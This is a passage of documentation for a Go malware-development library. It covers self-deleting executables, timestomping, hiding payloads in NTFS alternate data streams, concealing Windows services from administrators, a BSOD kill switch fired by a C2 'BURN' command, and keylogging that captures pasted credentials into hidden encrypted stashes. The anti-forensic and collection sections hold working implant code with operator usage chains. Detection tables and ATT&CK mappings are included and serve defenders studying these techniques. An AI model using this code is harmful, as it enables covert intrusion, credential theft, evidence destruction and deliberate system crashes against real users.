default stream — and Windows happily deletes the file even though our
process still has its image mapped.
Three other paths exist when ADS isn't workable:
RunForce(retry, duration)— same trick, retry loop for transient locks.RunWithScript— drop a.batfile that polls until the process exits, then deletes the EXE. Universal, but the batch script is a signature.MarkForDeletion—MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT). No on-disk write, but thePendingFileRenameOperationsregistry value retains the artefact until next reboot.
How it works
The ADS-rename path:
sequenceDiagram
participant Proc as "running .exe"
participant FS as "NTFS driver"
Note over Proc: GetModuleFileNameW("C:\impl.exe")
Proc->>FS: CreateFileW(":x", FILE_RENAME_INFO)
FS->>FS: rename default :$DATA → :x
FS-->>Proc: success
Proc->>FS: NtSetInformationFile(FileDispositionInfo, DeleteFile=TRUE)
FS-->>Proc: success
Proc->>FS: CloseHandle()
FS->>FS: file unlinked from MFT
Note over Proc: process continues executing from mapped image
Step-by-step:
- Resolve own path via
GetModuleFileNameW(NULL, …). CreateFileW(path, DELETE | SYNCHRONIZE, FILE_SHARE_READ|WRITE|DELETE, …, OPEN_EXISTING, …).SetFileInformationByHandle(FileRenameInfo, ":x")— rename default stream.SetFileInformationByHandle(FileDispositionInfo, DeleteFile=TRUE)— schedule deletion at handle close.CloseHandle()— file vanishes.- The process continues; its image stays mapped.
API Reference
Run() error
Canonical ADS-rename + delete-on-close path. Quietest variant.
Parameters: none — operates on the running EXE.
Returns: error — wraps CreateFileW / SetFileInformationByHandle
failures. nil on success.
Side effects: EXE file disappears from disk; running process unaffected.
OPSEC: rename + DELETE on a running EXE is unusual; EDR with MFT awareness can flag the FileRenameInfo event.
RunForce(retry int, duration time.Duration) error
Run with a retry loop for transient ERROR_SHARING_VIOLATION.
RunWithScript(wait time.Duration) error
Drop a batch script alongside the EXE; the script polls until the process exits, then deletes. Works on FAT/exFAT and on systems where ADS is locked down. Less stealthy.
MarkForDeletion() error
Schedule deletion at next reboot via MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT).
The HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\ PendingFileRenameOperations registry value carries the entry until reboot.
DeleteFile(path string) error
Same primitive applied to an arbitrary path (not the running EXE).
DeleteFileForce(path string, retry int, duration time.Duration) error
DeleteFile + retry loop.
var ErrInvalidHandle error
Sentinel returned when CreateFileW returns INVALID_HANDLE_VALUE.
Examples
Simple
//go:build windows
package main
import "github.com/oioio-space/maldev/cleanup/selfdelete"
func main() {
defer selfdelete.Run()
// implant work …
}
Composed (with cleanup/memory)
Wipe in-memory state before disappearing from disk:
defer selfdelete.Run()
defer memory.SecureZero(c2State)
// work …
Advanced (full end-of-mission chain)
defer func() {
// 1. Reset timestamps so any disk forensic sees a "stale" file.
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, droppedFile)
// 2. Wipe + delete dropped artefacts.
_ = wipe.File(droppedFile, 3)
// 3. Wipe in-memory state.
memory.SecureZero(stateBuf)
// 4. Self-delete the running EXE.
_ = selfdelete.Run()
}()
Complex (RunWithScript fallback)
if err := selfdelete.Run(); err != nil {
// ADS path failed (FAT volume, locked-down server) — fall back.
_ = selfdelete.RunWithScript(2 * time.Second)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
FileRenameInfo on a default-stream rename of a running EXE | Sysmon Event 2 (file creation timestamp change) — partial signal |
FileDispositionInfo setting DELETE on a running EXE | Sysmon Event 23 (FileDelete) |
MFT entry with $BITMAP change (file freed but still in mapping) | Forensic-grade MFT analysis |
Batch script in %TEMP% (RunWithScript) | Sysmon Event 11 + clear signature |
PendingFileRenameOperations registry value (MarkForDeletion) | Reboot-time analysis |
D3FEND counter: D3-FRA
(File Removal Analysis) — defeats casual deletion patterns; the ADS-rename
variant defeats most file-deletion-watch rules. Hardening: monitor for
FileRenameInfo on PE files in writable directories.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070.004 | Indicator Removal: File Deletion | self-delete-while-running variant |
Limitations
- NTFS-only —
Runrequires ADS support. FAT32, exFAT, ext4 (mounted via WSL), or any mounted SMB share without ADS pass-through fail. UseRunWithScriptas fallback. - Win11 24H2 (build 26100+) —
MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT)semantics changed; thePendingFileRenameOperationsvalue is still written but kernel-level processing differs.MarkForDeletionmay silently fail on this build. Track in docs/testing.md. - Defender realtime scan — if the EXE is in a directory with
realtime monitoring (anything not in the exclusion list) the rename may
trigger an AV scan that holds the handle long enough to fail
SetFileDisposition. UseRunForce. - Process Mitigation — some EDRs apply
Process Mitigation Policy: ProhibitDynamicCodewhich doesn't affect this primitive directly, but the same EDR likely watches for the unusual rename pattern.
See also
cleanup/ads— primitive ADS CRUD;selfdeleteis its highest-leverage user.- Original technique writeup — LloydLabs/delete-self-poc.
- Microsoft —
FileDispositionInfo.
Timestomp
TL;DR
Reset a file's $STANDARD_INFORMATION timestamps (creation, access,
modification) so a dropped artefact blends with system files. Forensic-
grade tooling defeats this by comparing against $FILE_NAME timestamps —
that disparity is the canonical timestomping tell.
Primer
Every NTFS file has two sets of timestamps:
$STANDARD_INFORMATION($SI) — read bydir, Explorer,os.Stat,GetFileTime. Mutable from user-mode viaSetFileTime.$FILE_NAME($FN) — maintained by the filesystem driver itself. Read by forensic tooling (Sleuth Kit, Plaso). User-mode APIs cannot modify it; only kernel-mode code (e.g.FSCTL_SET_FILE_INFORMATIONwith the right context) can.
Standard timestomping changes only $SI. Triage tools and AV looking at
the four $SI timestamps see the implant as "old". Forensic tools
comparing $SI against $FN see the disparity and flag it.
This package handles the user-mode $SI path. To also rewrite $FN,
you'd need a kernel driver — out of scope here.
How it works
flowchart LR
SRC["reference file<br>e.g. notepad.exe"] -->|"GetFileTime"| TIMES["3 FILETIMEs"]
TIMES -->|"SetFileTime"| DST["target file<br>e.g. impl.exe"]
classDef ref fill:#e8f4ff
classDef tgt fill:#ffeae8
class SRC ref
class DST tgt
CopyFrom is the common path: open the reference, read its three
timestamps, apply them to the target. Set is the explicit-value path
when you want a specific date.
The OS kernel's $FN records remain untouched — that's the gap forensic
tools exploit.
API Reference
Set(path string, atime, mtime time.Time) error
Set access and modification times on path. Cross-platform (uses
os.Chtimes under the hood, which on Windows wraps SetFileTime).
Parameters: path — file to stomp. atime — desired access time.
mtime — desired modification time.
Returns: error — wraps os.Chtimes failures.
Side effects: $STANDARD_INFORMATION access + modification entries
overwritten. Creation time unchanged on this entry point.
OPSEC: no event-log entry. Visible only to forensic-grade MFT comparison.
CopyFrom(src, dst string) error
Read src's ModTime and apply it as both atime and mtime on dst.
Parameters: src — reference file (its mtime is read). Typically
C:\Windows\System32\notepad.exe or another stable system binary.
dst — file to stomp.
Returns: error — wraps os.Stat / os.Chtimes failures.
Side effects: all three $SI timestamps on target match
reference. $FN unchanged.
Examples
Simple
import (
"time"
"github.com/oioio-space/maldev/cleanup/timestomp"
)
// Make impl.exe look 5 years old
old := time.Now().Add(-5 * 365 * 24 * time.Hour)
_ = timestomp.Set(`C:\Users\Public\impl.exe`, old, old)
Composed (with reference file)
Match a stable system binary so the dropped artefact blends with neighbours:
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, `C:\Users\Public\impl.exe`)
Advanced (chain into wipe + selfdelete)
Reset directory metadata so the parent doesn't show "recently modified":
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
_ = timestomp.CopyFrom(ref, filepath.Dir(target)) // re-stomp after unlink
_ = selfdelete.Run()
Complex (build-time stomping)
For implants you build and deliver — not for runtime cleanup:
//go:build ignore
// Pre-flight build hook: make the dropped EXE look like cmd.exe in a
// snapshot from 2019 (BUILD-TIME, not runtime).
_ = timestomp.CopyFrom("samples/cmd.exe", "dist/impl.exe")
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
$STANDARD_INFORMATION recently changed but $FILE_NAME unchanged | Sleuth Kit istat, Plaso, MFTECmd |
SetFileTime API call on a file in a writable user directory | EDR file-IO event aggregation (low-fidelity) |
Cluster of files with identical $SI timestamps | Statistical hunt — multiple stomped files often inherit identical times |
D3FEND counter: D3-FH (weak; the real counter is MFT analysis). Hardening: enable audit-policy on file modifications in critical directories.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070.006 | Indicator Removal: Timestomp | $STANDARD_INFORMATION-only variant |
Limitations
$FILE_NAMEnot touched. A forensic comparison defeats this. To also rewrite$FN, kernel-mode access (a driver, or a BYOVD primitive) is needed — out of scope for this package.- Resolution differs by filesystem. NTFS stores 100-ns precision; FAT32 stores 2-second precision. Cloning from NTFS to FAT32 truncates.
- Some
$SItriggers (e.g. content rewrite by another tool, AV scan) re-update the timestamps after the stomp. Stomp last in the cleanup sequence.
See also
cleanup/wipe— pair to clean directory mtime after unlink.- Sleuth Kit
istat— defender-side comparison tool. - Eric Zimmerman's MFTECmd — modern forensic MFT parser.
- SANS — NTFS Time Rules
— overview of when
$SIvs$FNupdates fire.
NTFS Alternate Data Streams
TL;DR
Read, write, list, delete named data streams attached to NTFS files
(file:streamname:$DATA). Streams don't appear in dir, Explorer, or
most file APIs — useful for hiding payloads, storing implant state, and
the cleanup/selfdelete rename trick.
Primer
Every file on an NTFS volume has a default unnamed data stream
(:$DATA) — that's what cat / Get-Content reads. NTFS additionally
allows arbitrary named streams attached to the same file. The streams
share the file's MFT entry, ACL, and timestamps; they're addressable as
file.txt:hidden:$DATA. Most user-facing tooling ignores everything but
the default stream, which makes ADS a quiet stash spot.
ADS support is filesystem-bound. NTFS supports it; FAT32, exFAT, ext4, and any non-Windows filesystem do not. Crossing a non-NTFS boundary (e.g., copying to a USB stick) silently drops the streams.
How it works
sequenceDiagram
participant Caller
participant ads
participant Kernel as "NTFS driver"
participant File as "some.txt"
Caller->>ads: Write("some.txt", "hidden", payload)
ads->>Kernel: CreateFileW("some.txt:hidden", GENERIC_WRITE)
Kernel->>File: allocate/locate stream "hidden"
Kernel-->>ads: HANDLE
ads->>Kernel: WriteFile(HANDLE, payload)
ads->>Kernel: CloseHandle(HANDLE)
ads-->>Caller: nil
The package wraps CreateFileW with the colon-suffix syntax. The kernel
handles stream allocation transparently. List uses
NtQueryInformationFile(FileStreamInformation) to walk the MFT entry's
stream attribute list.
API Reference
Write(path, stream string, data []byte) error
Append-or-replace data into the named stream of path.
Parameters: path — NTFS file (must exist). stream — stream name (any
non-empty string, no colons). data — bytes to write.
Returns: error — wraps CreateFileW / WriteFile failures, or "not
NTFS" when the volume doesn't support ADS.
Side effects: stream is created if absent, replaced if present.
WriteVia(creator stealthopen.Creator, path, stream string, data []byte) error
Same semantics as Write, but routes through the operator-supplied
stealthopen.Creator. nil falls back to
os.Create (identical to plain Write); non-nil layers transactional
NTFS, encryption, or any other write primitive on top of the ADS
landing. Internally calls stealthopen.WriteAll with the
<path>:<stream> composite path.
Read(path, stream string) ([]byte, error)
Read the entire named stream into memory.
ReadVia(opener stealthopen.Opener, path, stream string) ([]byte, error)
Same semantics as Read, but routes through the operator-supplied
stealthopen.Opener. nil falls back to
plain os.Open on the composite <path>:<stream> (identical to
Read); non-nil layers an operator-controlled read primitive on top.
[!CAUTION]
*stealthopen.Stealthopens by NTFS Object ID and addresses the MFT entry (the main stream). Named ADS streams share the entry but are addressed by stream name; the Object-ID path cannot reach them. An Opener that needs to defeat path-based EDR hooks AND read a specific named stream must route throughNtCreateFilewith the composite path (FILE_OBJECT resolution) rather than Object-ID resolution.
List(path string) ([]string, error)
Enumerate all stream names attached to path (excluding the default
unnamed stream).
Delete(path, stream string) error
Remove the named stream. The base file remains.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/ads"
_ = ads.Write(`C:\Users\Public\desktop.ini`, "config", []byte("c2=1.2.3.4"))
cfg, _ := ads.Read(`C:\Users\Public\desktop.ini`, "config")
streams, _ := ads.List(`C:\Users\Public\desktop.ini`)
// streams: []string{"config"}
_ = ads.Delete(`C:\Users\Public\desktop.ini`, "config")
Composed (with crypto)
key := crypto.RandomKey(32)
ct, _ := crypto.AESGCMEncrypt(key, []byte(state))
_ = ads.Write(`C:\Windows\Temp\index.dat`, "s", ct)
// Later:
ct, _ = ads.Read(`C:\Windows\Temp\index.dat`, "s")
state, _ := crypto.AESGCMDecrypt(key, ct)
Advanced (chain with selfdelete)
cleanup/selfdelete uses ADS rename internally:
// selfdelete renames the default stream to ":x" via the same primitive
// surface the ads package exposes, then sets DELETE disposition.
// See cleanup/selfdelete/selfdelete.go for the full sequence.
selfdelete.Run()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| MFT entry size grows when stream is added | NTFS forensic tools (Sleuth Kit, Plaso) |
CreateFileW with colon-suffix path | EDR file-IO event aggregation; rare in benign software |
dir /R lists all streams | Manual triage |
Get-Item -Stream * (PowerShell) | Manual hunt |
| Sysinternals Streams tool | Forensic walkthrough |
D3FEND counter: D3-FCR (File Content Rules) — antivirus engines can scan named streams when configured.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1564.004 | Hide Artifacts: NTFS File Attributes | Named-stream payload storage |
Limitations
- NTFS-only. Cross-filesystem copy drops streams.
- Many AVs scan ADS. Defender enumerates and scans named streams by default since Win10 1607.
- Mark-of-the-Web stream (
Zone.Identifier) is added automatically to internet-downloaded files; collisions are unlikely but worth avoiding (don't useZone.Identifieras your stream name). - Backup tools (Robocopy with
/B, Windows Backup) preserve streams; unaware tools (copy,xcopywithout/B) silently drop them. - Stealth read of named ADS streams is non-trivial.
ReadVia- nil-fallback uses path-based
os.Openon<path>:<stream>— visible to path-hooking EDRs. The repo's bundled*stealthopen.Stealthroutes through NTFS Object IDs which addresses the MFT entry only (main stream), not a specific named stream. A stealth-on-ADS read primitive needs a custom Opener built onNtCreateFilewith the composite path; not provided by this package.
- nil-fallback uses path-based
See also
cleanup/selfdelete— primary internal consumer.- Sysinternals Streams — operator-side enumeration.
- microsoft/go-winio backup.go — original ADS code structure inspiration.
- CQURE Academy — Alternate Data Streams.
Hide Windows services via DACL
TL;DR
Apply a restrictive DACL (Discretionary Access Control List) to a Windows
service so users — even Administrators — can't query its config or status
through the SCM. The service still runs. services.msc, sc.exe query,
Get-Service, and most EDR enumerators come up blank.
Primer
Every Windows service has a security descriptor controlling who can
query, start, stop, change config, or change ACL on it. The default
DACL grants SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL to interactive users
and admins. Replacing that DACL with one that denies those rights
makes the service invisible to standard listing tools without affecting
its execution.
The persistence side (creating + starting the service) lives in
persistence/service. This package handles
the hiding side, applied AFTER install.
How it works
sequenceDiagram
participant Caller
participant SCM
participant Service
Caller->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
Caller->>SCM: OpenService(svcName, WRITE_DAC | READ_CONTROL)
SCM-->>Caller: HANDLE
Caller->>Service: SetNamedSecurityInfo(SE_SERVICE, DACL_SECURITY_INFORMATION, restricted-DACL)
Service-->>Caller: ERROR_SUCCESS
Note over SCM,Service: subsequent EnumServicesStatus calls<br>filter out the service for non-SYSTEM callers
The restricted DACL the package applies:
D:(D;;CCSWLOLCRC;;;IU)
(D;;CCSWLOLCRC;;;SU)
(D;;CCSWLOLCRC;;;BA)
(A;;LCRPRC;;;SY)
- D entries deny
CCSWLOLCRC(query config / status / control / read control) to Interactive Users (IU), Service users (SU), Built-in Admins (BA). - A entry allows
LCRPRC(read DACL + read control + start) to SYSTEM only.
Result: the service runs as SYSTEM, but only SYSTEM can enumerate it.
API Reference
Mode constants
const (
Native Mode = iota // SetNamedSecurityInfo (in-process)
SC_SDSET // sc.exe sdset (works remotely with hostname)
)
HideService(mode Mode, host, name string) (string, error)
Apply the restrictive DACL to name.
Parameters:
mode—Native(preferred for in-process) orSC_SDSET(preferred for remote — accepts a\\hostnameUNC).host— empty for local,\\REMOTEfor cross-machine viaSC_SDSET.name— service short name (the value passed tosc create NAME).
Returns:
string— captured stdout ofsc.exe sdsetwhenSC_SDSET, otherwise empty.error— wraps API failures.
Side effects: rewrites the service security descriptor. Reversible
via UnHideService.
UnHideService(mode Mode, host, name string) (string, error)
Restore the default DACL on name.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/service"
if _, err := service.HideService(service.Native, "", "MyService"); err != nil {
log.Fatal(err)
}
// MyService runs but does not appear in services.msc / sc query / Get-Service.
// Restore at end of mission:
_, _ = service.UnHideService(service.Native, "", "MyService")
Composed (with persistence/service)
// Install + start
_ = persistenceService.InstallAndStart("MyService", "C:\\Path\\to\\impl.exe")
// Hide
_, _ = service.HideService(service.Native, "", "MyService")
Advanced — remote hide via UNC
out, err := service.HideService(service.SC_SDSET, `\\TARGET-HOST`, "MyService")
if err != nil {
log.Fatalf("hide on TARGET-HOST: %v\noutput: %s", err, out)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security event 4670 (DACL change on object) | Audit Object Access policy must be enabled |
| Sysmon Event 4697 (service control change) | Always logged when Sysmon configured |
Service still listed in HKLM\SYSTEM\CurrentControlSet\Services\<name> | Registry-based enumeration sees through DACL |
EnumServicesStatusEx from SYSTEM context returns the service | EDR running as SYSTEM is unaffected |
D3FEND counter: D3-RAPA
(Resource Access Pattern Analysis) — registry-based service enumeration
defeats DACL hiding. Hardening: scan HKLM\SYSTEM\CurrentControlSet\ Services\ directly, not via SCM.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1564 | Hide Artifacts | DACL-based service hiding |
| T1543.003 | Create or Modify System Process: Windows Service | hide-side companion to install/start |
Limitations
- Requires SeTakeOwnership / WRITE_DAC. Standard admin OK; non-admin cannot rewrite the security descriptor.
- Defeated by registry enumeration. Anyone who reads
HKLM\SYSTEM\ CurrentControlSet\Services\directly sees the service regardless. - SYSTEM-context EDR is unaffected. The DACL allows SYSTEM read.
- Audit policy on object access logs Event 4670 for the DACL change itself; not always enabled by default but trivial for blue to enable.
SC_SDSETmode shells out tosc.exe— leaves a child-process artefact thatNativemode avoids.
See also
persistence/service— install/start side.- Microsoft — Service security and access rights.
- Sigma rule: service DACL change (illustrative — exact rule path may vary).
Controlled Blue Screen of Death
[!CAUTION] This is a destructive, irreversible primitive. Calling
bsod.Triggercrashes the host immediately. Use only as a last-resort kill switch when stopping log shipping or process collection is more valuable than the host. The example tests are gated behind a build tag and do not run by default.
TL;DR
Enable SeShutdownPrivilege, then call NtRaiseHardError with a fatal
status code. The kernel responds by triggering a bug-check (BSOD).
In-memory state is destroyed faster than any forensic agent can flush
it; the host reboots.
Primer
NtRaiseHardError is the kernel's mechanism for raising errors from
user-mode that the kernel decides how to handle. With the right
parameters (notably OptionShutdownSystem), the kernel treats the
report as an unrecoverable system fault and crashes immediately with the
specified bug-check code (KeBugCheckEx).
The technique requires SeShutdownPrivilege, which any process running
as a Medium-IL user with that privilege available can enable via
RtlAdjustPrivilege. Most local accounts have it.
Use cases:
- Operator wants to abort an exfil operation when an EDR alert fires — faster to crash the host than to clean up.
- Anti-forensic last resort: terminate the implant + all running collection agents in one shot.
- Red-team exercise: validate the blue team's "host went silent" response.
How it works
sequenceDiagram
participant Caller
participant ntdll
participant Kernel
Caller->>ntdll: RtlAdjustPrivilege(SeShutdownPrivilege, true)
ntdll-->>Caller: NTSTATUS_SUCCESS
Caller->>ntdll: NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6 /* OptionShutdownSystem */)
ntdll->>Kernel: NtRaiseHardError syscall
Kernel->>Kernel: KeBugCheckEx(0xc0000420, ...)
Note over Kernel: BSOD — host crashes
OptionShutdownSystem (value 6) tells the kernel to treat the hard
error as fatal. The supplied status code propagates into the bug-check
parameter shown on the BSOD screen.
API Reference
Trigger(caller *wsyscall.Caller) error
Raise the privilege and trigger the BSOD. Returns only on failure (the host doesn't come back).
Parameters:
caller— optional*wsyscall.Caller.nilfalls back to WinAPI; pass a real caller to route through indirect syscalls (recommended, the privilege adjustment + raise are otherwise visible to user-mode hooks).
Returns:
error—ErrPrivilegeifRtlAdjustPrivilegefailed, or a wrap of theNtRaiseHardErrorNTSTATUS. No success return — on success the host crashes.
Side effects: crashes the host.
OPSEC: the bug-check itself is the artifact. Crash dump (if
configured) names the originating process; the
SeShutdownPrivilege-adjustment ETW event may precede the crash.
var ErrPrivilege error
Sentinel returned when the privilege adjustment fails (e.g. running as Low IL or the privilege is removed from the token).
Examples
Simple
//go:build windows
package main
import (
"github.com/oioio-space/maldev/cleanup/bsod"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := bsod.Trigger(caller); err != nil {
// Reached only on failure; host doesn't come back on success.
panic(err)
}
}
Composed — guard with explicit operator confirmation
if !operatorConfirmed("really BSOD?") {
return
}
// Wipe in-memory secrets first so even crash dumps reveal less.
memory.WipeAndFree(payloadAddr, payloadSize)
_ = bsod.Trigger(caller)
Advanced — chain with operator-side TLS handshake
A pattern from real ops: BSOD on receipt of a "BURN" command from C2.
go func() {
for cmd := range c2Channel {
if cmd == "BURN" {
memory.WipeAndFree(stateAddr, stateSize)
_ = bsod.Trigger(caller)
}
}
}()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Bug-check itself | System event log Event 1001 (BugCheck), Event 41 (Kernel-Power) on next boot |
| Memory dump (if configured) | C:\Windows\MEMORY.DMP (or C:\Dumps\ per WER LocalDumps) names the originating process |
SeShutdownPrivilege adjustment | Pre-crash ETW from Microsoft-Windows-Security-Auditing (Event 4673 with audit policy on) |
| Cluster of identical bug-checks across hosts | Sysmon-shipped Event 1001 in SIEM |
D3FEND counter: D3-PSEP (weak — bug-checks are inherent to OS); the real counter is availability monitoring (host-up dashboard) and crash-dump analysis post-incident.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1529 | System Shutdown/Reboot | Forced bug-check variant |
Limitations
SeShutdownPrivilegerequired. Sandboxed processes (Edge Renderer, AppContainer Store apps) cannot adjust this privilege.- Crash dump destination depends on system config. If the host is configured for kernel-only minidumps, the dump may not include the full process state — but it WILL include the originating thread.
- VM hosts with snapshot-on-crash configurations may preserve state better than the operator wants.
- Win11 modern standby — some bug-checks are recoverable on Win11 if
the system is on AC power and the kernel decides to attempt recovery
(rare for
STATUS_ASSERTION_FAILURE-class codes).
See also
cleanup/memory— pair withWipeAndFreeto destroy in-memory secrets before the bug-check.evasion/sleepmask— alternative when you want to merely hide, not destroy.- Microsoft — NtRaiseHardError reference (kernel-mode signature; user-mode is undocumented but stable).
Collection techniques
The collection/* package tree groups local data-acquisition primitives
for post-exploitation: keystrokes, clipboard contents, screen captures.
Each sub-package is self-contained and Windows-only — pick the data source
the operator needs and import the matching package.
flowchart LR
subgraph user [User session]
KB[Keyboard input]
CB[Clipboard]
FB[Framebuffer]
end
subgraph collection [collection/*]
K[keylog<br>WH_KEYBOARD_LL hook]
C[clipboard<br>OpenClipboard + seq poll]
S[screenshot<br>GDI BitBlt]
end
subgraph sink [Operator sink]
OUT[stdout / file / C2 channel]
end
KB --> K
CB --> C
FB --> S
K -. Ctrl+V .-> C
K --> OUT
C --> OUT
S --> OUT
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
collection/keylog | keylogging.md | noisy | low-level keyboard hook with per-event window/process attribution and Ctrl+V clipboard capture |
collection/clipboard | clipboard.md | quiet | one-shot ReadText plus Watch channel driven by GetClipboardSequenceNumber polling |
collection/screenshot | screenshot.md | quiet | GDI BitBlt → PNG; primary, arbitrary rectangle, or per-monitor capture |
Quick decision tree
| You want to… | Use |
|---|---|
| …record what the user types, with window context | keylog.Start |
| …also capture pasted credentials | keylog.Start — Ctrl+V auto-snapshots clipboard into the event |
…read clipboard once (e.g. after runas) | clipboard.ReadText |
| …stream clipboard changes for a session | clipboard.Watch |
| …grab the primary monitor as PNG | screenshot.Capture |
| …enumerate monitors first, then capture one | screenshot.DisplayCount → CaptureDisplay |
| …crop to a specific UI region (e.g. an open RDP window) | screenshot.CaptureRect |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1056.001 | Input Capture: Keylogging | collection/keylog | D3-PA |
| T1115 | Clipboard Data | collection/clipboard, collection/keylog (paste capture) | D3-PA |
| T1113 | Screen Capture | collection/screenshot | D3-PA |
Cross-referenced techniques
Two adjacent collection workflows live under sibling areas. They are listed here as a navigation convenience; their canonical homes are the packages that own them.
| Area concern | Tech page | Owning package |
|---|---|---|
NTFS Alternate Data Streams (hide collected data in :stream suffixes) | alternate-data-streams.md | cleanup/ads |
LSASS minidump (in-process MINIDUMP assembly via NtReadVirtualMemory) | lsass-dump.md | credentials/lsassdump |
[!NOTE] Both pages will move to their owning areas in Phase 6 of the doc refactor (see docs/refactor-2026-doc/progress.md).
See also
- Operator path: post-exploitation collection
- Detection eng path: collection telemetry
c2/transport— exfiltrate captured data over the established channel.crypto— encrypt collected blobs before staging or transmission.cleanup— wipe collection artefacts after exfiltration.
Keylogging
← collection index · docs/index
TL;DR
Install a WH_KEYBOARD_LL system-wide hook; every keystroke arrives in a
Go channel with translated character, modifier flags, active-window title and
owning-process path. On Ctrl+V the clipboard snapshot is bundled into the
same event, capturing credential pastes automatically.
Primer
A low-level keyboard hook intercepts each WM_KEYDOWN message at the OS
message-dispatch layer, before it reaches any application. This gives the
implant a complete transcript of everything the user types — passwords,
commands, search queries — across every window without injecting into any
process.
Each Event carries the translated Unicode character (or a label such as
[Enter], [Backspace], [F5]), the modifier state (Ctrl/Shift/Alt), the
foreground window's title, and the executable path of the owning process.
That attribution turns a raw character stream into a structured log: browser
typed credentials, terminal commands, and document edits land in separate
buckets with no additional work by the consumer.
The Ctrl+V case is handled specially: when a Ctrl+V chord is detected the hook reads the current clipboard text and attaches it to the event. This catches credential pastes that bypass keystroke-level keylogging entirely — a password manager that auto-fills via the clipboard never generates printable keystrokes.
The hook runs on a dedicated OS thread with its own Win32 message pump. The
goroutine that calls Start returns immediately; the pump thread runs until
the context is cancelled, at which point it posts WM_QUIT to itself and
tears down cleanly.
How It Works
sequenceDiagram
participant User
participant OS as "Win32 message pump"
participant Hook as "hookProc (LL hook)"
participant Xlat as "ToUnicodeEx"
participant Ch as "Event channel"
participant Consumer
User->>OS: WM_KEYDOWN (VkCode)
OS->>Hook: hookProc(nCode, wParam, lParam)
Hook->>Hook: GetAsyncKeyState (modifiers)
Hook->>Hook: GetForegroundWindow + cache check
Hook->>Xlat: VkCode + ScanCode + HKL
Xlat-->>Hook: Unicode char (or dead-key pending)
Hook->>Ch: Event{Character, Ctrl, Window, Process, …}
Ch-->>Consumer: receive
Hook->>OS: CallNextHookEx (pass-through)
Key implementation details:
ToUnicodeExwithwFlags=0x4preserves dead-key state in the keyboard layout buffer, so accented characters (é,ü) are synthesised correctly without consuming the pending dead key.- Foreground-window resolution is cached by HWND and refreshed only on
change —
GetWindowText+QueryFullProcessImageNameare expensive relative to the hook cadence. AttachThreadInputis not used; modifier state is read viaGetAsyncKeyStatewhich does not require thread attachment.- A single global
atomic.Pointer[hookState]serialises concurrentStartcalls; a second call while a hook is active returnsErrAlreadyRunning.
API Reference
type Event struct
One captured keystroke with foreground-window attribution.
| Field | Type | Description |
|---|---|---|
KeyCode | int | Virtual key code (VK_* constant) |
Character | string | Translated Unicode character, or [Enter] / [Backspace] / [F1]–[F12] / [Left] etc. |
Ctrl | bool | Ctrl modifier was held |
Shift | bool | Shift modifier was held |
Alt | bool | Alt modifier was held |
Clipboard | string | Clipboard text — populated only on Ctrl+V; empty otherwise |
Window | string | Foreground window title at keystroke time |
Process | string | Foreground process executable path |
Time | time.Time | Capture timestamp |
var ErrAlreadyRunning
Returned by Start when a WH_KEYBOARD_LL hook is already active in the
current process. Only one hook per process is supported.
Start(ctx context.Context) (<-chan Event, error)
Install the hook and start the message pump on a locked OS thread.
Returns:
<-chan Event— receives one entry perWM_KEYDOWN; closed when the hook tears down.error—ErrAlreadyRunningif a hook is already active; OS error ifSetWindowsHookExfails.
Side effects: registers a WH_KEYBOARD_LL system-wide hook; spawns a
goroutine that calls runtime.LockOSThread.
OPSEC: SetWindowsHookEx(WH_KEYBOARD_LL) is one of the highest-fidelity
EDR signals — few legitimate processes install global keyboard hooks.
Examples
Simple
import (
"context"
"fmt"
"github.com/oioio-space/maldev/collection/keylog"
)
ch, err := keylog.Start(context.Background())
if err != nil {
panic(err)
}
for ev := range ch {
fmt.Printf("[%s] %s", ev.Process, ev.Character)
if ev.Clipboard != "" {
fmt.Printf(" <paste: %q>", ev.Clipboard)
}
fmt.Println()
}
Composed (per-process segmentation)
import (
"context"
"fmt"
"path/filepath"
"strings"
"github.com/oioio-space/maldev/collection/keylog"
)
func logByProcess(ctx context.Context) map[string]string {
ch, _ := keylog.Start(ctx)
bufs := map[string]*strings.Builder{}
for ev := range ch {
proc := strings.ToLower(filepath.Base(ev.Process))
if bufs[proc] == nil {
bufs[proc] = &strings.Builder{}
}
bufs[proc].WriteString(ev.Character)
if ev.Clipboard != "" {
bufs[proc].WriteString(fmt.Sprintf("[Paste:%q]", ev.Clipboard))
}
}
out := make(map[string]string, len(bufs))
for k, v := range bufs {
out[k] = v.String()
}
return out
}
Advanced (encrypted ADS stash)
Buffer keystrokes, encrypt each chunk with AES-GCM, and hide the ciphertext in an NTFS Alternate Data Stream on an existing system file.
import (
"context"
"strings"
"github.com/oioio-space/maldev/cleanup/ads"
"github.com/oioio-space/maldev/collection/keylog"
"github.com/oioio-space/maldev/crypto"
)
const (
adsHost = `C:\ProgramData\Microsoft\Windows\Caches\caches.db`
adsStream = "log"
)
func main() {
ctx := context.Background()
ch, _ := keylog.Start(ctx)
